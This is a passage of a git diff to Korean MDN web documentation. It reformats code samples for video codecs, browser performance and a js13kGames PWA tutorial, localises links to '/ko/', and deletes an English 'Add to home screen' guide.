       <td>예; VP8은 WebRTC의 필수 코덱 중 하나</td>
     </tr>
@@ -1667,15 +1668,15 @@ Safari 지원이 빠져있지만 WebM 컨테이너를 쓸 수 있고 Safari 사
     <tr>
       <th scope="row">지원 컨테이너</th>
       <td>
-        <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>,
-        <a href="/en-US/docs/Web/Media/Formats/Containers#WebM">WebM</a>
+        <a href="/ko/docs/Web/Media/Formats/Containers#MP4">MP4</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#Ogg">Ogg</a>,
+        <a href="/ko/docs/Web/Media/Formats/Containers#WebM">WebM</a>
       </td>
     </tr>
     <tr>
       <th scope="row">
         {{Glossary("RTP")}} /
-        <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 호환
+        <a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a> 호환
       </th>
       <td>예</td>
     </tr>
@@ -1717,20 +1718,18 @@ Safari 지원이 빠져있지만 WebM 컨테이너를 쓸 수 있고 Safari 사
 
 1. **[WebM](/ko/docs/Web/Media/Formats/Containers#WebM)** 컨테이너에 비디오는 **[VP8](#vp8), 오디오는** **[Opus](/ko/docs/Web/Media/Formats/Audio_codecs#Opus)** 코덱을 사용합니다. 이들은 로열티-프리 오픈 포맷이지만 최근 브라우저에서만 폭넓게 지원하는 경향이 있어 폴백 지원이 필수적입니다.
 
-    ```js
-    <video controls src="filename.webm"></video>
-    ```
+   ```js
+   <video controls src="filename.webm"></video>
+   ```
 
 2. **[MP4](/ko/docs/Web/Media/Formats/Containers#MP4)** 컨테이너에 비디오 코덱은 **[AVC](#avc_h.264)** (**H.264**) 오디오 코덱은 **[AAC](/ko/docs/Web/Media/Formats/Audio_codecs#AAC)** 를 사용합니다. MP4 컨테이너에 AVC, AAC 조합은 모든 주요 브라우저에서 폭넓게 지원하는 조합이며 대부분의 유즈케이스에서 좋은 품질을 보여주기 때문입니다. 하지만 라이선스 요구사항에 대해 컴플라이언스 이슈는 없는 지 확인이 필요하죠.
 
-    ```html
-    <video controls>
-      <source type="video/webm"
-              src="filename.webm">
-      <source type="video/mp4"
-              src="filename.mp4">
-    </video>
-    ```
+   ```html
+   <video controls>
+     <source type="video/webm" src="filename.webm" />
+     <source type="video/mp4" src="filename.mp4" />
+   </video>
+   ```
 
 > **참고:** {{HTMLElement("&lt;video&gt;")}} 엘리먼트는 자식으로 {{HTMLElement("source")}} 엘리먼트 유무에 상관 없이 `</video>` 닫기 태그가 필요하다는 것을 잊지 마세요.
 
@@ -1740,20 +1739,18 @@ Safari 지원이 빠져있지만 WebM 컨테이너를 쓸 수 있고 Safari 사
 
 1. WebM 컨테이너에 비디오 코덱은 AV1, 오디오 코덱은 Opus. AV1 인코딩 시 6.3 High level 같은 높은 전문 프로파일을 사용할 수 있다면 훌륭한 품질의 비디오를 4K/8K 해상도로 제공할 수 있습니다. 오디오 인코딩 시 Opus Fullband 프로파일로 48 kHz 샘플링 레이트를 사용한다면 사람이 들을 수 있는 거의 모든 주파수를 캡쳐할 수 있죠.
 
-    ```js
-    <video controls src="filename.webm"></video>
-    ```
+   ```js
+   <video controls src="filename.webm"></video>
+   ```
 
 2. MP4 컨테이너에 비디오 코덱으로 [HEVC](#hevc_h.265) 를 쓰되 프로파일은 Main 4:2:2 10/12 bit 색 깊이, 최대 Main 4:4:4 16 bit 색 깊이 수준의 고급 Main 프로파일을 사용합니다. 비트레이트를 높이면 놀라운 색 재현과 훌륭한 그래픽 퀄리티를 보여줄 것입니다. 또한 하이 다이나믹 레인지 비디오를 위한 HDR 메타데이터도 추가할 수 있습니다. 오디오는 ACC 인코딩 시 높은 샘플링 레이트(최소 48 kHz, 96 kHz 권장)에 fast-encoding이 아닌 complex-encoding을 사용합니다.
 
-    ```html
-    <video controls>
-      <source type="video/webm"
-              src="filename.webm">
-      <source type="video/mp4"
-              src="filename.mp4">
-    </video>
-    ```
+   ```html
+   <video controls>
+     <source type="video/webm" src="filename.webm" />
+     <source type="video/mp4" src="filename.mp4" />
+   </video>
+   ```
 
 ### 비디오 보존, 편집, 믹싱을 위한 추천
 
@@ -1777,11 +1774,11 @@ x264 --crf 18 -preset ultrafast --output outfilename.mp4 infile
 
 ```js
 const kbps = 1024;
-const Mbps = kbps*kbps;
+const Mbps = kbps * kbps;
 
 const options = {
   mimeType: 'video/webm; codecs="av01.2.19H.12.0.000.09.16.09.1, flac"',
-  bitsPerSecond: 800*Mbps,
+  bitsPerSecond: 800 * Mbps,
 };
 
 let recorder = new MediaRecorder(sourceStream, options);
diff --git a/files/ko/web/performance/how_browsers_work/index.md b/files/ko/web/performance/how_browsers_work/index.md
index d81909d6ac987b..c1d34bedd3bc3e 100644
--- a/files/ko/web/performance/how_browsers_work/index.md
+++ b/files/ko/web/performance/how_browsers_work/index.md
@@ -57,7 +57,7 @@ HTTPS를 이용한 보안성있는 연결을 위해서는 또 다른 "핸드셰
 웹서버로 한 번 연결이 성립되고 나면, 브라우저는 유저 대신에 초기 [HTTP `GET` request](/ko/docs/Web/HTTP/Methods)를 보냅니다. 웹사이트는 대게 HTML 파일을 요청합니다. 서버가 요청을 받으면, 관련 응답 해더와 함께 HTML의 내용을 응답하게 됩니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
     <meta charset="UTF-8" />
diff --git a/files/ko/web/performance/understanding_latency/index.md b/files/ko/web/performance/understanding_latency/index.md
index a8cd0cfffdc063..7ab9dde6cfadc0 100644
--- a/files/ko/web/performance/understanding_latency/index.md
+++ b/files/ko/web/performance/understanding_latency/index.md
@@ -27,16 +27,16 @@ slug: Web/Performance/Understanding_latency
 
 개발자 도구에서 network 테이블의 스로틀링 옵션을 통해 2G, 3G 혹은 다른 대역폭으로 전환할 수 있습니다. 다양한 브라우저의 개발자 도구에는 서로 다른 사전 설정 옵션이 있으며, 모방되는 특성에는 다운로드 속도, 업로드 속도, 최소 대기 시간 또는 데이터 패킷을 보내는 데 필요한 최소 타입이 포함됩니다. 일부 사전 설정의 대략적인 값은 다음과 같습니다.
 
-| 선택      | 다운로드 속도 | 업로드 속도 | 최소 대기 시간 (ms) |
-| -------------- | -------------- | ------------ | -------------------- |
-| GPRS           | 50 Kbps        | 20 Kbps      | 500                  |
-| 일반적인 2G     | 250 Kbps       | 50 Kbps      | 300                  |
-| 좋은 2G        | 450 Kbps       | 150 Kbps     | 150                  |
-| 일반적인 3G     | 750 Kbps       | 250 Kbps     | 100                  |
-| 좋은 3G        | 1.5 Mbps       | 750 Kbps     | 40                   |
-| 일반적인 4G/LTE | 4 Mbps         | 3 Mbps       | 20                   |
-| DSL            | 2 Mbps         | 1 Mbps       | 5                    |
-| Wi-Fi          | 30 Mbps        | 15 Mbps      | 2                    |
+| 선택            | 다운로드 속도 | 업로드 속도 | 최소 대기 시간 (ms) |
+| --------------- | ------------- | ----------- | ------------------- |
+| GPRS            | 50 Kbps       | 20 Kbps     | 500                 |
+| 일반적인 2G     | 250 Kbps      | 50 Kbps     | 300                 |
+| 좋은 2G         | 450 Kbps      | 150 Kbps    | 150                 |
+| 일반적인 3G     | 750 Kbps      | 250 Kbps    | 100                 |
+| 좋은 3G         | 1.5 Mbps      | 750 Kbps    | 40                  |
+| 일반적인 4G/LTE | 4 Mbps        | 3 Mbps      | 20                  |
+| DSL             | 2 Mbps        | 1 Mbps      | 5                   |
+| Wi-Fi           | 30 Mbps       | 15 Mbps     | 2                   |
 
 ## 네트워크 시간 측정
 
diff --git a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/chrome-a2hs-banner.png b/files/ko/web/progressive_web_apps/guides/making_pwas_installable/chrome-a2hs-banner.png
deleted file mode 100644
index 4610c68f4bfc24..00000000000000
Binary files a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/chrome-a2hs-banner.png and /dev/null differ
diff --git a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/chrome-desktop-a2hs-banner.png b/files/ko/web/progressive_web_apps/guides/making_pwas_installable/chrome-desktop-a2hs-banner.png
deleted file mode 100644
index 8edd73c055bf07..00000000000000
Binary files a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/chrome-desktop-a2hs-banner.png and /dev/null differ
diff --git a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/fx-a2hs-banner.png b/files/ko/web/progressive_web_apps/guides/making_pwas_installable/fx-a2hs-banner.png
deleted file mode 100644
index 4cb887765a10b7..00000000000000
Binary files a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/fx-a2hs-banner.png and /dev/null differ
diff --git a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/index.md b/files/ko/web/progressive_web_apps/guides/making_pwas_installable/index.md
deleted file mode 100644
index 171069b0f984c0..00000000000000
--- a/files/ko/web/progressive_web_apps/guides/making_pwas_installable/index.md
+++ /dev/null
@@ -1,206 +0,0 @@
----
-title: Add to home screen
-slug: Web/Progressive_web_apps/Guides/Making_PWAs_installable
-original_slug: Web/Progressive_web_apps/Add_to_home_screen
----
-
-Add to Home screen (or A2HS for short) is a feature available in modern smartphone browsers that allows developers to easily and conveniently add a shortcut to their Home screen representing their favorite web app (or site) so they can subsequently access it with a single tap. This guide explains how A2HS is used, and what you need to do as a developer to allow your users to take advantage of it.
-
-## Why A2HS?
-
-A2HS is thought to be part of the [Progressive Web App](/ko/docs/Web/Progressive_web_apps) philosophy — giving web apps the same user experience advantages as native apps so they can compete in today's ecosystem wars. Part of this is the simple gesture of accessing an app by tapping its icon on your Home screen, and then having it appear neatly in its own window. A2HS makes this possible.
-
-## What browsers support A2HS?
-
-A2HS is supported by Mobile Chrome/Android Webview since version 31, Opera for Android since version 32, and Firefox for Android since [version 58](/ko/docs/Mozilla/Firefox/Releases/58).
-
-## How do you use it?
-
-We've written a very simple example web site ([see our demo live](https://mdn.github.io/pwa-examples/a2hs/), and also [see the source code](https://github.com/mdn/pwa-examples/tree/master/a2hs)) that doesn't do much, but was developed with the necessary code to allow it to be added to a Home screen, as well as a service worker to enable it to be used offline. The example displays a series of fox pictures.
-
-If you have Firefox for Android available, use it to navigate to our demo at `https://mdn.github.io/pwa-examples/a2hs/`. You'll see fox pictures, but more important, you'll see a "home" icon with a plus (+) icon inside it — this is the "Add to Home screen" icon displayed for any site that has the necessary features in place.
-
-![](add-to-home-screen-icon.png)
-
-Tapping this will show a confirmation banner — pressing the big + _ADD TO HOME SCREEN_ button completes the action, adding the app to the Home screen. (Note: In Android 8 and higher, a system-level "Add to Home screen" permission dialog will be shown first.)
-
-![](fx-a2hs-banner.png)
-
-If you have Mobile Chrome available, the experience is slightly different; upon loading our site, you'll see an install banner pop up asking whether you want to add this app to your Home screen.
-
-![](chrome-a2hs-banner.png)
-
-> **참고:** You can find out a lot more about Chrome install banners from the article [Web App Install Banners](https://developers.google.com/web/fundamentals/app-install-banners/).
-
-If you choose not to add it to your Home screen at this point, you can do so later using the _Add to Home screen_ icon in the main Chrome menu.
-
-Regardless of which browser you are using, when you choose to add the app to your Home screen, you'll see it appear along with a short title, in the same way that native apps do.
-
-![](a2hs-on-home-screen.png)
-
-Tapping this icon opens it up, but as a fullscreen app, you'll no longer see the browser UI around it.
-
-## How do you make an app A2HS-ready?
-
-To enable your app to be added to a Home screen, it needs the following:
-
-- To be served over HTTPs — the web is increasingly being moved in a more secure direction, and many modern web technologies (A2HS included) will work only on secure contexts.
-- To have a manifest file with the correct fields filled in, linked from the HTML head.
-- To have an appropriate icon available for displaying on the Home screen.
-- Chrome additionally requires the app to have a service worker registered (e.g., so it can function when offline).
-
-### Manifest
-
-The web manifest is written in standard JSON format and should be placed somewhere inside your app directory (in the root is probably best) with the name `somefilename.webmanifest` (we've chosen `manifest.webmanifest`). It contains multiple fields that define certain information about the web app and how it should behave.
-
-> **참고:** The `.webmanifest` extension is specified in the [Media type registration](https://w3c.github.io/manifest/#media-type-registration) section of the specification, but generally browsers will support manifests with other appropriate extensions, e.g. `.json`.
-
-The fields needed for A2HS are as follows:
-
-- `background_color`: Specifies a background color to be used in some app contexts. The most relevant one to A2HS is the splash screen displayed when the app icon on the Home screen is tapped and it first starts to load (this currently appears only when apps have been added to the Home screen by Chrome).
-- `display`: Specifies how the app should be displayed. To make it feel like a distinct app (and not just a web page), you should choose a value such as `fullscreen` (no UI is shown at all) or `standalone` (very similar, but system-level UI elements such as the status bar might be visible).
-- `icons`: Specifies icons for the browser to use when representing the app in different places (such as on the task switcher, or more important, the Home screen). We've included only one in our demo.
-- `name`/`short_name`: These fields provide an app name to be displayed when representing the app in different places. `name` provides the full app name, and `short_name` provides a shortened name to be used when there is insufficient space to display the full name. You are advised to provide both if your app's name is particularly long.
-- `start_url`: Provides a path to the asset that should be loaded when the added-to-Home screen app is launched. Note that this has to be a relative URL pointing to the site index, relative to the url of the manifest. Also, be aware that Chrome requires this before it will display the install banner, whereas Firefox doesn't require it for showing the home-with-a-plus icon.
-
-The manifest for our sample app looks like this:
-
-```js
-{
-  "background_color": "purple",
-  "description": "Shows random fox pictures. Hey, at least it isn't cats.",
-  "display": "fullscreen",
-  "icons": [
-    {
-      "src": "icon/fox-icon.png",
-      "sizes": "192x192",
-      "type": "image/png"
-    }
-  ],
-  "name": "Awesome fox pictures",
-  "short_name": "Foxes",
-  "start_url": "/pwa-examples/a2hs/index.html"
-}
-```
-
-### Appropriate icon
-
-As shown in the above manifest listing, we are including a 192 x 192 px icon for use in our app. You can include more sizes if you want; Android will choose the most appropriate size for each different use case. You could also decide to include different types of icons so devices can use the best one they are able to (e.g., Chrome already supports the WebP format).
-
-Note that the `type` member in each icon's object specifies the icon's mimetype, so the browser can quickly read what type the icon is, and then ignore it and move to a different icon if it doesn't support it.
-
-In terms of how to design the icon, you should follow the same best practices you'd follow for any Android icon (see the [Android icon design guidelines](https://developer.android.com/guide/practices/ui_guidelines/icon_design.html)).
-
-### Link the HTML to the manifest
-
-To finish setting up your manifest, you need to reference it from the HTML of your application's home page:
-
-```html
-<link rel="manifest" href="manifest.webmanifest">
-```
-
-Browsers that support A2HS will know where to look for your manifest once this is in place.
-
-## What does A2HS not give you?
-
-Bear in mind that when you add an app to your Home screen, it just makes the app easily accessible — it doesn't download the app's assets and data to your device and make the app available offline, or anything like that. To make your app work offline, you have to use the [Service Worker API](/ko/docs/Web/API/Service_Worker_API) to handle storing the assets offline, and if required, [Web storage](/ko/docs/Web/API/Web_Storage_API) or [IndexedDB](/ko/docs/Web/API/IndexedDB_API) to store its data.
-
-In our example app, we've just used a service worker to store all necessary files. The service worker is registered against the site with the final code block in the [`index.js`](https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js) file. We then cache all the site's assets using the [Cache API](/ko/docs/Web/API/Cache), and serve them from the cache instead of the network using the code in the [sw.js](https://github.com/mdn/pwa-examples/blob/master/a2hs/sw.js) file.
-
-## A2HS on desktop
-
-While originally intended to improve user experience on mobile OSes, there is movement to make PWAs installable on desktop platforms too.
-
-> **참고:** At the time of writing, the functionality described below was only supported in newer versions of Chrome — by default on Windows, and behind the `#enable-desktop-pwas` flag on macOS.
-
-### Adding an install button
-
-To make our PWA installable on desktop, we first added a button to our document to allow users to do the installation — this isn't made available automatically on desktop apps, and the installation needs to be triggered by a user gesture:
-
-```html
-<button class="add-button">Add to home screen</button>
-```
-
-We then gave it some simple styling:
-
-```css
-.add-button {
-  position: absolute;
-  top: 1px;
-  left: 1px;
-}
-```
-
-### JavaScript for handling the install
-
-At the bottom of our [`index.js` file](https://github.com/mdn/pwa-examples/blob/master/a2hs/index.js), we added some JavaScript to handle the installation. First of all, we declare a `deferredPrompt` variable (which we'll explain later on), get a reference to our install button, and set it to `display: none` initially:
-
-```js
-let deferredPrompt;
-const addBtn = document.querySelector('.add-button');
-addBtn.style.display = 'none';
-```
-
-We hide the button initially because the PWA will not be available for install until it follows the A2HS criteria. When this happens, supporting browsers will fire a `beforeinstallprompt` event. We can then use a handler like the one below to handle the installation:
-
-```js
-window.addEventListener('beforeinstallprompt', (e) => {
-  // Prevent Chrome 67 and earlier from automatically showing the prompt
-  e.preventDefault();
-  // Stash the event so it can be triggered later.
-  deferredPrompt = e;
-  // Update UI to notify the user they can add to home screen
-  addBtn.style.display = 'block';
-
-  addBtn.addEventListener('click', (e) => {
-    // hide our user interface that shows our A2HS button
-    addBtn.style.display = 'none';
-    // Show the prompt
-    deferredPrompt.prompt();
-    // Wait for the user to respond to the prompt
-    deferredPrompt.userChoice.then((choiceResult) => {
-        if (choiceResult.outcome === 'accepted') {
-          console.log('User accepted the A2HS prompt');
-        } else {
-          console.log('User dismissed the A2HS prompt');
-        }
-        deferredPrompt = null;
-      });
-  });
-});
-```
-
-So here we:
-
-- Call {{domxref("Event.preventDefault()")}} to stop Chrome 67 and earlier from calling the install prompt automatically (this behavior changed in Chrome 68).
-- Store the event object in the `deferredPrompt` variable so it can be used later on to perform the actual installation.
-- Set the button to `display: block` so it appears in the UI for the user to click.
-- Set a `click` handler for the button.
-
-The click handler contains the following steps:
-
-- Hide the button again with `display: none` — it is no longer needed once the app is installed.
-- Use the `prompt()` method available on the `beforeinstallprompt` event object (stored in `deferredPrompt`) to trigger showing the install prompt.
-- Respond to the user's interaction with the prompt using the `userChoice` property, again available on the `beforeinstallprompt` event object.
-- Set `deferredPrompt` to null since it is no longer needed.
-
-So when the button is clicked, the install prompt appears.
-
-![](chrome-desktop-a2hs-banner.png)
-
-If the user selects _Install_, the app is installed (available as standalone desktop app), and the Install button no longer shows (the `onbeforeinstallprompt` event no longer fires if the app is already installed). When you open the app, it will appear in its own window:
-
-![](a2hs-installed-desktop.png)
-
-If the user selects _Cancel_, the state of the app goes back to how it was before the button was clicked.
-
-> **참고:** The code for this section was mostly taken from [App install banners/Add to Home Screen](https://developers.google.com/web/fundamentals/app-install-banners/) by Pete LaPage.
-
-## See also
-
-- [Progressive web apps](/ko/docs/Web/Progressive_web_apps)
-- [Service Worker API](/ko/docs/Web/API/Service_Worker_API)
-- [Web manifest reference](/ko/docs/Web/Manifest)
-- [App install banners](https://developers.google.com/web/fundamentals/app-install-banners/)
-
-{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
diff --git a/files/ko/web/progressive_web_apps/index.md b/files/ko/web/progressive_web_apps/index.md
index 6fd831646414b9..2839feeabca928 100644
--- a/files/ko/web/progressive_web_apps/index.md
+++ b/files/ko/web/progressive_web_apps/index.md
@@ -52,4 +52,4 @@ PWA는 발견 가능, 설치 가능, 연결 가능해야 하고, 네트워크에
 - [Lighthouse](https://developer.chrome.com/docs/lighthouse/overview/) — web-app auditing tool that includes PWA-auditing features
 - [localForage](https://localforage.github.io/localForage/) — `localStorage`-like _async_ storage, to improve your PWA's offline experience
 
-{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}
+{{QuickLinksWithSubpages("/ko/docs/Web/Progressive_web_apps/")}}
diff --git a/files/ko/web/progressive_web_apps/tutorials/js13kgames/app_structure/index.md b/files/ko/web/progressive_web_apps/tutorials/js13kgames/app_structure/index.md
index e73c7577f65919..10a0c4f8107eff 100644
--- a/files/ko/web/progressive_web_apps/tutorials/js13kgames/app_structure/index.md
+++ b/files/ko/web/progressive_web_apps/tutorials/js13kgames/app_structure/index.md
@@ -64,38 +64,55 @@ Streams API는 개발자가 서버로부터의 데이터 스트리밍에 직접
 HTML의 관점에서보면 app shell은 컨텐츠 섹션 외부의 모든 영역입니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html lang="en">
-<head>
-  <meta charset="utf-8">
-  <title>js13kGames A-Frame entries</title>
-  <meta name="description" content="A list of A-Frame entries submitted to the js13kGames 2017 competition, used as an example for the MDN articles about Progressive Web Apps.">
-  <meta name="author" content="end3r">
-  <meta name="theme-color" content="#B12A34">
-  <meta name="viewport" content="width=device-width, initial-scale=1">
-  <meta property="og:image" content="icons/icon-512.png">
-  <link rel="shortcut icon" href="favicon.ico">
-  <link rel="stylesheet" href="style.css">
-  <link rel="manifest" href="js13kpwa.webmanifest">
-  <script src="data/games.js" defer></script>
-  <script src="app.js" defer></script>
-</head>
-<body>
-<header>
-  <p><a class="logo" href="http://js13kgames.com"><img src="img/js13kgames.png" alt="js13kGames"></a></p>
-</header>
-<main>
-  <h1>js13kGames A-Frame entries</h1>
-  <p class="description">List of games submitted to the <a href="http://js13kgames.com/aframe">A-Frame category</a> in the <a href="http://2017.js13kgames.com">js13kGames 2017</a> competition. You can <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa">fork js13kPWA on GitHub</a> to check its source code.</p>
-  <button id="notifications">Request dummy notifications</button>
-  <section id="content">
-    // Content inserted in here
-  </section>
-</main>
-<footer>
-  <p>© js13kGames 2012-2018, created and maintained by <a href="http://end3r.com">Andrzej Mazur</a> from <a href="http://enclavegames.com">Enclave Games</a>.</p>
-</footer>
-</body>
+  <head>
+    <meta charset="utf-8" />
+    <title>js13kGames A-Frame entries</title>
+    <meta
+      name="description"
+      content="A list of A-Frame entries submitted to the js13kGames 2017 competition, used as an example for the MDN articles about Progressive Web Apps." />
+    <meta name="author" content="end3r" />
+    <meta name="theme-color" content="#B12A34" />
+    <meta name="viewport" content="width=device-width, initial-scale=1" />
+    <meta property="og:image" content="icons/icon-512.png" />
+    <link rel="shortcut icon" href="favicon.ico" />
+    <link rel="stylesheet" href="style.css" />
+    <link rel="manifest" href="js13kpwa.webmanifest" />
+    <script src="data/games.js" defer></script>
+    <script src="app.js" defer></script>
+  </head>
+  <body>
+    <header>
+      <p>
+        <a class="logo" href="http://js13kgames.com"
+          ><img src="img/js13kgames.png" alt="js13kGames"
+        /></a>
+      </p>
+    </header>
+    <main>
+      <h1>js13kGames A-Frame entries</h1>
+      <p class="description">
+        List of games submitted to the
+        <a href="http://js13kgames.com/aframe">A-Frame category</a> in the
+        <a href="http://2017.js13kgames.com">js13kGames 2017</a> competition.
+        You can
+        <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"
+          >fork js13kPWA on GitHub</a
+        >
+        to check its source code.
+      </p>
+      <button id="notifications">Request dummy notifications</button>
+      <section id="content">// Content inserted in here</section>
+    </main>
+    <footer>
+      <p>
+        © js13kGames 2012-2018, created and maintained by
+        <a href="http://end3r.com">Andrzej Mazur</a> from
+        <a href="http://enclavegames.com">Enclave Games</a>.
+      </p>
+    </footer>
+  </body>
 </html>
 ```
 
@@ -112,7 +129,8 @@ CSS도 평범합니다. {{cssxref("@font-face")}}를 사용해 커스텀 폰트
 app.js 파일은 다음 문서에서 자세히 살펴볼 몇 가지 것들을 합니다. 먼저, 다음 템플릿을 기반으로 컨텐츠를 생성합니다.
 
 ```js
-var template = "<article>\n\
+var template =
+  "<article>\n\
     <img src='data/img/SLUG.jpg' alt='NAME'>\n\
     <h3>#POS. NAME</h3>\n\
     <ul>\n\
@@ -123,39 +141,40 @@ var template = "<article>\n\
     <li><span>More:</span> <a href='http://js13kgames.com/entries/SLUG'>js13kgames.com/entries/SLUG</a></li>\n\
     </ul>\n\
 </article>";
-var content = '';
-for(var i=0; i<games.length; i++) {
-    var entry = template.replace(/POS/g,(i+1))
-        .replace(/SLUG/g,games[i].slug)
-        .replace(/NAME/g,games[i].name)
-        .replace(/AUTHOR/g,games[i].author)
-        .replace(/TWITTER/g,games[i].twitter)
-        .replace(/WEBSITE/g,games[i].website)
-        .replace(/GITHUB/g,games[i].github);
-    entry = entry.replace('<a href=\'http:///\'></a>','-');
-    content += entry;
-};
-document.getElementById('content').innerHTML = content;
+var content = "";
+for (var i = 0; i < games.length; i++) {
+  var entry = template
+    .replace(/POS/g, i + 1)
+    .replace(/SLUG/g, games[i].slug)
+    .replace(/NAME/g, games[i].name)
+    .replace(/AUTHOR/g, games[i].author)
+    .replace(/TWITTER/g, games[i].twitter)
+    .replace(/WEBSITE/g, games[i].website)
+    .replace(/GITHUB/g, games[i].github);
+  entry = entry.replace("<a href='http:///'></a>", "-");
+  content += entry;
+}
+document.getElementById("content").innerHTML = content;
 ```
 
 다음으로, service worker를 등록합니다.
 
 ```js
-if('serviceWorker' in navigator) {
-    navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
-};
+if ("serviceWorker" in navigator) {
+  navigator.serviceWorker.register("/pwa-examples/js13kpwa/sw.js");
+}
 ```
 
 다음 코드 블럭은 버튼을 클릭했을 때 알림에 대한 권한을 요청합니다.
 
 ```js
 var button = document.getElementById("notifications");
-button.addEventListener('click', function(e) {
-    Notification.requestPermission().then(function(result) {
-        if(result === 'granted') {
-            randomNotification();
-        }
-    });
+button.addEventListener("click", function (e) {
+  Notification.requestPermission().then(function (result) {
+    if (result === "granted") {
+      randomNotification();
+    }
+  });
 });
 ```
 
@@ -163,16 +182,16 @@ button.addEventListener('click', function(e) {
 
 ```js
 function randomNotification() {
-    var randomItem = Math.floor(Math.random()*games.length);
-    var notifTitle = games[randomItem].name;
-    var notifBody = 'Created by '+games[randomItem].author+'.';
-    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
-    var options = {
-        body: notifBody,
-        icon: notifImg
-    }
-    var notif = new Notification(notifTitle, options);
-    setTimeout(randomNotification, 30000);
+  var randomItem = Math.floor(Math.random() * games.length);
+  var notifTitle = games[randomItem].name;
+  var notifBody = "Created by " + games[randomItem].author + ".";
+  var notifImg = "data/img/" + games[randomItem].slug + ".jpg";
+  var options = {
+    body: notifBody,
+    icon: notifImg,
+  };
+  var notif = new Notification(notifTitle, options);
+  setTimeout(randomNotification, 30000);
 }
 ```
 
@@ -181,36 +200,36 @@ function randomNotification() {
 빠르게 살펴볼 마지막 파일(sw\.js)은 service worker입니다. 이는 먼저 games.js 파일로부터 데이터를 불러옵니다.
 
 ```js
-self.importScripts('data/games.js');
+self.importScripts("data/games.js");
 ```
 
 다음으로, app shell과 컨텐츠 모두로부터 캐싱할 모든 파일의 리스트를 생성합니다.
 
 ```js
-var cacheName = 'js13kPWA-v1';
+var cacheName = "js13kPWA-v1";
 var appShellFiles = [
-  '/pwa-examples/js13kpwa/',
-  '/pwa-examples/js13kpwa/index.html',
-  '/pwa-examples/js13kpwa/app.js',
-  '/pwa-examples/js13kpwa/style.css',
-  '/pwa-examples/js13kpwa/fonts/graduate.eot',
-  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
-  '/pwa-examples/js13kpwa/fonts/graduate.woff',
-  '/pwa-examples/js13kpwa/favicon.ico',
-  '/pwa-examples/js13kpwa/img/js13kgames.png',
-  '/pwa-examples/js13kpwa/img/bg.png',
-  '/pwa-examples/js13kpwa/icons/icon-32.png',
-  '/pwa-examples/js13kpwa/icons/icon-64.png',
-  '/pwa-examples/js13kpwa/icons/icon-96.png',
-  '/pwa-examples/js13kpwa/icons/icon-128.png',
-  '/pwa-examples/js13kpwa/icons/icon-168.png',
-  '/pwa-examples/js13kpwa/icons/icon-192.png',
-  '/pwa-examples/js13kpwa/icons/icon-256.png',
-  '/pwa-examples/js13kpwa/icons/icon-512.png'
+  "/pwa-examples/js13kpwa/",
+  "/pwa-examples/js13kpwa/index.html",
+  "/pwa-examples/js13kpwa/app.js",
+  "/pwa-examples/js13kpwa/style.css",
+  "/pwa-examples/js13kpwa/fonts/graduate.eot",
+  "/pwa-examples/js13kpwa/fonts/graduate.ttf",
+  "/pwa-examples/js13kpwa/fonts/graduate.woff",
+  "/pwa-examples/js13kpwa/favicon.ico",
+  "/pwa-examples/js13kpwa/img/js13kgames.png",
+  "/pwa-examples/js13kpwa/img/bg.png",
+  "/pwa-examples/js13kpwa/icons/icon-32.png",
+  "/pwa-examples/js13kpwa/icons/icon-64.png",
+  "/pwa-examples/js13kpwa/icons/icon-96.png",
+  "/pwa-examples/js13kpwa/icons/icon-128.png",
+  "/pwa-examples/js13kpwa/icons/icon-168.png",
+  "/pwa-examples/js13kpwa/icons/icon-192.png",
+  "/pwa-examples/js13kpwa/icons/icon-256.png",
+  "/pwa-examples/js13kpwa/icons/icon-512.png",
 ];
 var gamesImages = [];
-for(var i=0; i<games.length; i++) {
-  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+for (var i = 0; i < games.length; i++) {
+  gamesImages.push("data/img/" + games[i].slug + ".jpg");
 }
 var contentToCache = appShellFiles.concat(gamesImages);
 ```
@@ -218,13 +237,13 @@ var contentToCache = appShellFiles.concat(gamesImages);
 다음 블럭은 service worker를 설치하여 위의 목록에 포함된 모든 파일을 실제로 캐싱합니다.
 
 ```js
-self.addEventListener('install', function(e) {
-  console.log('[Service Worker] Install');
+self.addEventListener("install", function (e) {
+  console.log("[Service Worker] Install");
   e.waitUntil(
-    caches.open(cacheName).then(function(cache) {
-      console.log('[Service Worker] Caching all: app shell and content');
+    caches.open(cacheName).then(function (cache) {
+      console.log("[Service Worker] Caching all: app shell and content");
       return cache.addAll(contentToCache);
-    })
+    }),
   );
 });
 ```
@@ -232,18 +251,23 @@ self.addEventListener('install', function(e) {
 마지막으로, service worker는 가능한 경우 캐시로부터 컨텐츠를 패치하여 오프라인 기능을 제공합니다.
 
 ```js
-self.addEventListener('fetch', function(e) {
+self.addEventListener("fetch", function (e) {
   e.respondWith(
-    caches.match(e.request).then(function(r) {
-      console.log('[Service Worker] Fetching resource: '+e.request.url);
-      return r || fetch(e.request).then(function(response) {
-        return caches.open(cacheName).then(function(cache) {
-          console.log('[Service Worker] Caching new resource: '+e.request.url);
-          cache.put(e.request, response.clone());
-          return response;
-        });
-      });
-    })
+    caches.match(e.request).then(function (r) {
+      console.log("[Service Worker] Fetching resource: " + e.request.url);
+      return (
+        r ||
+        fetch(e.request).then(function (response) {
+          return caches.open(cacheName).then(function (cache) {
+            console.log(
+              "[Service Worker] Caching new resource: " + e.request.url,
+            );
